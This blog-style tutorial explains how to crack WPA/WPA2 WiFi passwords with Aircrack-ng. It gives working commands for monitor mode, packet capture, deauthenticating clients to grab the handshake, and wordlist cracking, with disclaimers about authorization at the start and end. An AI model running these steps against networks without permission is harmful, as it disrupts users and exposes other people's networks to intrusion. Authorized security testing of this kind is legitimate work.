CRACK WIFI WITH AIRCRACK

MR ASADULLAH
3 min readAug 19, 2023

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<h1>Declaimer </h1>

Aircrack-ng is a powerful suite of tools used for wireless network auditing and penetration testing. It’s important to note that using Aircrack-ng or similar tools on networks you don’t own or have explicit permission to test is illegal and unethical. Always ensure you have the necessary authorization before conducting any security testing.

Assuming you have the appropriate permissions, here’s a general guide on how to test WiFi security using Aircrack-ng:

  1. Gather Necessary Hardware:
  • A computer with a compatible WiFi adapter that supports monitor mode and packet injection. USB WiFi adapters are commonly used for this purpose.
  • Install a Linux distribution or use a Linux virtual machine.
  1. Install Aircrack-ng:
  • Open a terminal in your Linux environment and install Aircrack-ng using the package manager. For example, in Ubuntu-based systems:
sudo apt-get install aircrack-ng
  1. Prepare the WiFi Adapter:
  • Before you can use Aircrack-ng, you need to put your WiFi adapter in monitor mode. Use the following command:
sudo airmon-ng start [interface]
  • Replace [interface] with the name of your WiFi adapter interface (e.g., wlan0).

Scan for Networks:

Use the following command to scan for nearby WiFi networks:

sudo airodump-ng [interface]
  • This will display a list of WiFi networks along with their MAC addresses, channels, and encryption types.

Select a Target Network:

  • Identify the network you want to test and note its MAC address and channel.

Capture Packets:

  • Use the following command to start capturing packets from the target network:
sudo airodump-ng -c [channel] --bssid [MAC address] -w capture [interface]
  • Replace [channel] with the channel of the target network and [MAC address] with the MAC address of the target network.

Deauthenticate Clients:

  • Deauthenticating clients forces them to re-authenticate, allowing you to capture the 4-way handshake used in WPA/WPA2 authentication. Use this command:
sudo aireplay-ng -0 5 -a [MAC address] -c [client MAC] [interface]
  • Replace [MAC address] with the target network's MAC address and [client MAC] with the MAC address of a connected client.

Crack the Password:

  • Once you have captured enough packets, you can use Aircrack-ng to attempt to crack the WiFi password. Use this command:
sudo aircrack-ng -w [wordlist] capture-01.cap
  • Replace [wordlist] with the path to a wordlist containing potential passwords, and capture-01.cap with the name of your captured packet file.
  1. Analyze Result
  2. If the password is in the wordlist and not too complex, Aircrack-ng might successfully crack the handshake. If not, consider using a more comprehensive wordlists

Remember that WiFi security testing should only be conducted on networks you have explicit permission to test. Unauthorized testing can lead to legal and ethical consequences. Additionally, using tools like Aircrack-ng should be done responsibly and with a clear understanding of the potential risks and implications. Always prioritize ethical considerations and respect for others’ privacy and security.

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